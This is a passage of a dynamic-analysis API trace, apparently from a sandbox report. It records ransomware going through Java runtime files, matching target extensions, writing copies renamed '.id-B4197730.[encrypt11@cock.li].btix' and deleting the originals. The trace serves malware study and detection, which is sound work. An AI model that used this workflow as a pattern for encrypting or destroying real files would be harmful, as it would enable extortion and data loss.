Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.186] lstrlenW (lpString=".dbf") returned 4 [0129.186] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.186] lstrlenW (lpString=".1cd") returned 4 [0129.186] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.186] lstrlenW (lpString=".jpg") returned 4 [0129.186] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0129.186] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0129.186] lstrlenW (lpString="sRGB.pf") returned 7 [0129.186] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.187] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3144) returned 1 [0129.187] CloseHandle (hObject=0x3cc) returned 1 [0129.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0129.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.187] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.187] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.187] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.187] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0129.188] GetLastError () returned 0x0 [0129.188] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xc48, lpOverlapped=0x0) returned 1 [0129.198] WriteFile (in: hFile=0x3f0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xc50, lpOverlapped=0x0) returned 1 [0129.199] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.199] WriteFile (in: hFile=0x3f0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe2, lpOverlapped=0x0) returned 1 [0129.199] SetEndOfFile (hFile=0x3f0) returned 1 [0129.199] CloseHandle (hObject=0x3f0) returned 1 [0129.199] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.199] SetEndOfFile (hFile=0x3cc) returned 1 [0129.202] CloseHandle (hObject=0x3cc) returned 1 [0129.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.202] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0129.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.202] lstrlenW (lpString=".doc") returned 4 [0129.202] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0129.202] lstrlenW (lpString=".docx") returned 5 [0129.202] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0129.202] lstrlenW (lpString=".pdf") returned 4 [0129.202] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0129.202] lstrlenW (lpString=".xls") returned 4 [0129.203] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString=".xlsx") returned 5 [0129.203] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0129.203] lstrlenW (lpString=".ppt") returned 4 [0129.203] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.203] lstrlenW (lpString=".zip") returned 4 [0129.203] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString=".rar") returned 4 [0129.203] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString=".bz2") returned 4 [0129.203] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString=".7z") returned 3 [0129.203] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.203] lstrlenW (lpString=".dbf") returned 4 [0129.203] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.203] lstrlenW (lpString=".1cd") returned 4 [0129.203] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.203] lstrlenW (lpString=".jpg") returned 4 [0129.203] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.203] lstrlenW (lpString=".doc") returned 4 [0129.203] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString=".docx") returned 5 [0129.203] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0129.203] lstrlenW (lpString=".pdf") returned 4 [0129.203] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString=".xls") returned 4 [0129.203] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0129.203] lstrlenW (lpString=".xlsx") returned 5 [0129.203] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0129.203] lstrlenW (lpString=".ppt") returned 4 [0129.204] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0129.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.204] lstrlenW (lpString=".zip") returned 4 [0129.204] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0129.204] lstrlenW (lpString=".rar") returned 4 [0129.204] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0129.204] lstrlenW (lpString=".bz2") returned 4 [0129.204] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0129.204] lstrlenW (lpString=".7z") returned 3 [0129.204] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.204] lstrlenW (lpString=".dbf") returned 4 [0129.204] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0129.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.204] lstrlenW (lpString=".1cd") returned 4 [0129.204] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0129.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0129.204] lstrlenW (lpString=".jpg") returned 4 [0129.204] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0129.204] lstrcmpiW (lpString1=".data", lpString2=".btix") returned 1 [0129.204] lstrlenW (lpString="currency.data") returned 13 [0129.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.205] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4122) returned 1 [0129.205] CloseHandle (hObject=0x3cc) returned 1 [0129.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0129.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.205] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.205] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0129.206] GetLastError () returned 0x0 [0129.206] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x101a, lpOverlapped=0x0) returned 1 [0129.207] WriteFile (in: hFile=0x3f0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x1020, lpOverlapped=0x0) returned 1 [0129.208] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.208] WriteFile (in: hFile=0x3f0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xee, lpOverlapped=0x0) returned 1 [0129.208] SetEndOfFile (hFile=0x3f0) returned 1 [0129.209] CloseHandle (hObject=0x3f0) returned 1 [0129.209] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.209] SetEndOfFile (hFile=0x3cc) returned 1 [0129.211] CloseHandle (hObject=0x3cc) returned 1 [0129.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.212] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0129.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.212] lstrlenW (lpString=".doc") returned 4 [0129.212] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0129.212] lstrlenW (lpString=".docx") returned 5 [0129.212] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0129.212] lstrlenW (lpString=".pdf") returned 4 [0129.212] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0129.212] lstrlenW (lpString=".xls") returned 4 [0129.212] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0129.212] lstrlenW (lpString=".xlsx") returned 5 [0129.212] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0129.212] lstrlenW (lpString=".ppt") returned 4 [0129.212] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0129.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.212] lstrlenW (lpString=".zip") returned 4 [0129.212] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0129.212] lstrlenW (lpString=".rar") returned 4 [0129.212] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0129.212] lstrlenW (lpString=".bz2") returned 4 [0129.213] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0129.213] lstrlenW (lpString=".7z") returned 3 [0129.213] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0129.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.213] lstrlenW (lpString=".dbf") returned 4 [0129.213] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0129.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.213] lstrlenW (lpString=".1cd") returned 4 [0129.213] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0129.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.213] lstrlenW (lpString=".jpg") returned 4 [0129.213] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0129.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.213] lstrlenW (lpString=".doc") returned 4 [0129.213] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0129.213] lstrlenW (lpString=".docx") returned 5 [0129.213] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0129.213] lstrlenW (lpString=".pdf") returned 4 [0129.213] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0129.213] lstrlenW (lpString=".xls") returned 4 [0129.213] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0129.213] lstrlenW (lpString=".xlsx") returned 5 [0129.213] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0129.213] lstrlenW (lpString=".ppt") returned 4 [0129.213] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0129.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.213] lstrlenW (lpString=".zip") returned 4 [0129.213] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0129.213] lstrlenW (lpString=".rar") returned 4 [0129.213] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0129.213] lstrlenW (lpString=".bz2") returned 4 [0129.213] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0129.213] lstrlenW (lpString=".7z") returned 3 [0129.213] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0129.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.214] lstrlenW (lpString=".dbf") returned 4 [0129.214] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0129.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.214] lstrlenW (lpString=".1cd") returned 4 [0129.214] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0129.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0129.214] lstrlenW (lpString=".jpg") returned 4 [0129.214] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0129.214] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0129.214] lstrlenW (lpString="messages.properties") returned 19 [0129.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.216] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2860) returned 1 [0129.216] CloseHandle (hObject=0x3cc) returned 1 [0129.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0129.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.217] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.217] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0129.218] GetLastError () returned 0x0 [0129.218] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0129.303] WriteFile (in: hFile=0x3f0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xb30, lpOverlapped=0x0) returned 1 [0129.304] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.304] WriteFile (in: hFile=0x3f0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xfa, lpOverlapped=0x0) returned 1 [0129.304] SetEndOfFile (hFile=0x3f0) returned 1 [0129.304] CloseHandle (hObject=0x3f0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.304] SetEndOfFile (hFile=0x3cc) returned 1 [0129.536] CloseHandle (hObject=0x3cc) returned 1 [0129.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.966] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0129.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.967] lstrlenW (lpString=".doc") returned 4 [0129.967] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0129.967] lstrlenW (lpString=".docx") returned 5 [0129.967] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0129.967] lstrlenW (lpString=".pdf") returned 4 [0129.967] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0129.967] lstrlenW (lpString=".xls") returned 4 [0129.967] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0129.967] lstrlenW (lpString=".xlsx") returned 5 [0129.967] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0129.967] lstrlenW (lpString=".ppt") returned 4 [0129.967] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0129.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.967] lstrlenW (lpString=".zip") returned 4 [0129.967] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0129.967] lstrlenW (lpString=".rar") returned 4 [0129.967] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0129.967] lstrlenW (lpString=".bz2") returned 4 [0129.967] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0129.967] lstrlenW (lpString=".7z") returned 3 [0129.967] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0129.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.967] lstrlenW (lpString=".dbf") returned 4 [0129.967] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0129.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.967] lstrlenW (lpString=".1cd") returned 4 [0129.968] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.968] lstrlenW (lpString=".jpg") returned 4 [0129.968] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.968] lstrlenW (lpString=".doc") returned 4 [0129.968] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString=".docx") returned 5 [0129.968] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0129.968] lstrlenW (lpString=".pdf") returned 4 [0129.968] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString=".xls") returned 4 [0129.968] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString=".xlsx") returned 5 [0129.968] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0129.968] lstrlenW (lpString=".ppt") returned 4 [0129.968] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.968] lstrlenW (lpString=".zip") returned 4 [0129.968] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString=".rar") returned 4 [0129.968] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString=".bz2") returned 4 [0129.968] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString=".7z") returned 3 [0129.968] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0129.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.968] lstrlenW (lpString=".dbf") returned 4 [0129.968] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.968] lstrlenW (lpString=".1cd") returned 4 [0129.968] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0129.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0129.969] lstrlenW (lpString=".jpg") returned 4 [0129.969] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0129.969] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0129.969] lstrlenW (lpString="messages_es.properties") returned 22 [0129.969] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0129.970] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3600) returned 1 [0129.970] CloseHandle (hObject=0x42c) returned 1 [0129.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0129.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program 